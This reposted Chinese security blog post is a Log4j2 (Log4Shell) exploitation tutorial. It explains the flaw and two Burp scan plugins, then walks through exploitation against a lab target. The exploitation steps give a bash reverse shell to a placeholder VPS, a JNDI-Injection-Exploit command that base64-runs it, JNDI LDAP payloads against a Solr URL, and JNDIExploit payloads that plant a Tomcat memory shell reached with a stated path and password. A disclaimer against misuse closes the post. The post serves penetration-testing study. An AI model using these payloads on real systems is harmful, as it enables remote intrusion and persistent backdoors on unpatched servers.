写在前面
上周跟隔壁省的红队师傅们一起复盘,发现他们在一次省教育局护网中用log4j漏洞拿下了六七个单位。当时就感觉到了自己对这个漏洞的发现和利用的不足,自己的被动扫描工具从来没有扫出来log4j。现在重新再审视一下这个漏洞,目标是增加发现漏洞的概率,熟练利用方式。这个漏洞出来这么久,现在算是朝花夕拾了。
目录
0x01 漏洞成因
0x02 影响范围
0x03 发现方式-burp插件
0x04 反弹shell
0x05 写入内存马
0x06 工具与靶机环境获取
漏洞成因
Log4j2在打印日志时,如果发现日志内容中包含关键词 ${ },那么在{ }包含的内容会被当做变量来进行替换,导致攻击者可以任意执行命令。
影响范围
使用了Log4j2 的Java应用(Log4j 1.x 的反而没受影响),受此影响的常见开源项目有:Spring-Boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。
发现方式-burp插件
这里分享两个burp log4j2漏洞被动扫描工具,亲测都很好用。第一个主/被动log4j2扫描工具:log4j2 RCE,需要先配置ceye token后使用
抓包右键,使用插件主动扫描
插件显示主动扫描发现的Log4j2
一直以为是个主动扫描工具,后来发现这个插件也会被动扫描
第二个工具,被动扫描插件:Log4j2Scan,同上配置Ceye token
打开一个网页多点几个目录后扫描发现漏洞:
反弹shell
先开启8088端口监听
获取反弹shell的base64加密语句
bash -i >& /dev/tcp/VPS_ip/8088 0>&1
在自己的VPS使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启LDAP服务并使用上面反弹shell的语句生成
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Y***********************==}|{base64,-d}|{bash,-i}" -A "VPS_ip"
在有log4j2的目录,构造语句访问对应此1389端口对应ldap服务
http://ip:8983/solr/admin/cores?action=${jndi:ldap://上图LDAP具体地址}
成功反弹shell
写入内存马
log4j环境是团队一个师傅拉的,这里直接拿来用,感兴趣的师傅可以在后面“工具获取”中得到。打开网页发现是Spring环境。
写入内存马工具JNDIExploit
先用两个插件被动扫描,发现/cvetext?cmd参数存在log4j2漏洞
尝试TomcatEcho,HTTP头插入cmd,有回显
cmd=$%7bjndi:ldap://VPS_ip:1389/TomcatBypass/TomcatEcho%7d
尝试写入Tomcat内存马
cmd=$%7bjndi:ldap://VPS_ip:1389/TomcatBypass/TomcatMemshell3%7d
没有返回信息,之前用TomcatMemshell2 是会提示有没有写入成功,直接上冰蝎连接尝试。
目录:/ateam
密码:pass1024
成功连接
顺便尝试一下这个工具反弹shell
成功接收到反弹shell,但是没有回显
工具与靶机环境获取
公众号回复"log4j",获取工具。Log4_demo开启后会占用8080端口。
写在最后
年终总结写完到现在涨了三分之一关注,受宠若惊,跟师傅们一起成长。
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好地维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
原文始发于微信公众号(云下信安):Log4j2从被动扫描到反弹shell/写内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论